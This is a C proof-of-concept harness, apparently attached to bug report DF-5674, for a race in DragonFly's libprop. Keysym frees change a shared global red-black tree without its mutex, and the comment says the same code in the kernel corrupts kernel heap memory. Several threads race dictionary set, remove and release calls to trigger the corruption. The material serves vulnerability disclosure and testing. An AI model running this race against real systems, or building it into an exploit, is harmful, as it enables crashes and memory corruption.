DF-5674 / race_keysym.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-5674 PoC โ prop_dictionary keysym free mutates the GLOBAL rb-tree * (_prop_dict_keysym_tree) WITHOUT holding _prop_dict_keysym_tree_mutex. * * In sys/libprop/prop_dictionary.c the keysym object type * (_prop_object_type_dict_keysym, prop_dictionary.c:148) registers no * pot_lock/pot_unlock. prop_object_release() (prop_object.c:1077) only * takes po_type->pot_lock around pot_free; for a keysym that is NULL, so * when the refcount hits zero outside of a dictionary-type free, * _prop_dict_keysym_free() (prop_dictionary.c:234-242) runs * _prop_rb_tree_remove_node(&_prop_dict_keysym_tree, pdk) on the shared * global tree with NO mutex. * * Unprotected release paths: * - prop_dictionary_remove() -> _prop_dictionary_remove() * prop_dictionary.c:1082-1107 (release at :1104) * - releasing a prop_array that holds keysyms (prop_dictionary_all_keys * result): array type also has no pot_lock (prop_array.c:72-80) * * Protected (mutex-holding) opponents: * - _prop_dict_keysym_alloc() find/insert prop_dictionary.c:294-341 * - _prop_dictionary_free() releases keysyms under the global mutex * held as the *dictionary* type's pot_lock. * * This harness races them from multiple threads. Keysyms are process * global, so two dictionaries using the same key string share one keysym. * Crash (SIGSEGV in rb tree walk / malloc heap corruption) = the * unsynchronized tree mutation is real. * * Same source compiles into the DragonFly kernel (sys/libprop is built * into the kernel) โ there the corruption is kernel heap corruption. */ #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <libprop/proplib.h> #define NKEYS 96 #define NREMOVERS 3 #define NALLOCERS 2 #define ITERS 400000 static char keys[NKEYS][24]; static prop_string_t shared_str; /* Thread R: set + remove โ the remove path is the UNLOCKED keysym free */ static void * remover(void *arg) { int it, i; for (it = 0; it < ITERS; it++) { prop_dictionary_t d = prop_dictionary_create(); if (d == NULL) break; for (i = 0; i < NKEYS; i++) prop_dictionary_set(d, keys[i], shared_str); for (i = 0; i < NKEYS; i++) prop_dictionary_remove(d, keys[i]); prop_object_release(d); } return NULL; } /* Thread A: set + release โ alloc (find/insert) and dict free are LOCKED */ static void * allocer(void *arg) { int it, i; for (it = 0; it < ITERS; it++) { prop_dictionary_t d = prop_dictionary_create(); if (d == NULL) break; for (i = 0; i < NKEYS; i++) prop_dictionary_set(d, keys[i], shared_str); prop_object_release(d); } return NULL; } int main(void) { pthread_t thr[NREMOVERS + NALLOCERS]; int i, rv = 0; for (i = 0; i < NKEYS; i++) snprintf(keys[i], sizeof(keys[i]), "key%04d", i * 7 % NKEYS); shared_str = prop_string_create_cstring("value"); if (shared_str == NULL) { fprintf(stderr, "alloc failed\n"); return 2; } /* warm the tree so it has real depth */ { prop_dictionary_t d = prop_dictionary_create(); for (i = 0; i < NKEYS; i++) prop_dictionary_set(d, keys[i], shared_str); fprintf(stderr, "warm dict: %u keys\n", prop_dictionary_count(d)); prop_object_release(d); /* keysyms now hit refcnt 0 via LOCKED path */ } for (i = 0; i < NREMOVERS; i++) pthread_create(&thr[i], NULL, remover, NULL); for (i = 0; i < NALLOCERS; i++) pthread_create(&thr[NREMOVERS + i], NULL, allocer, NULL); for (i = 0; i < NREMOVERS + NALLOCERS; i++) pthread_join(thr[i], NULL); printf("survived: no corruption observed this run\n"); return rv; } |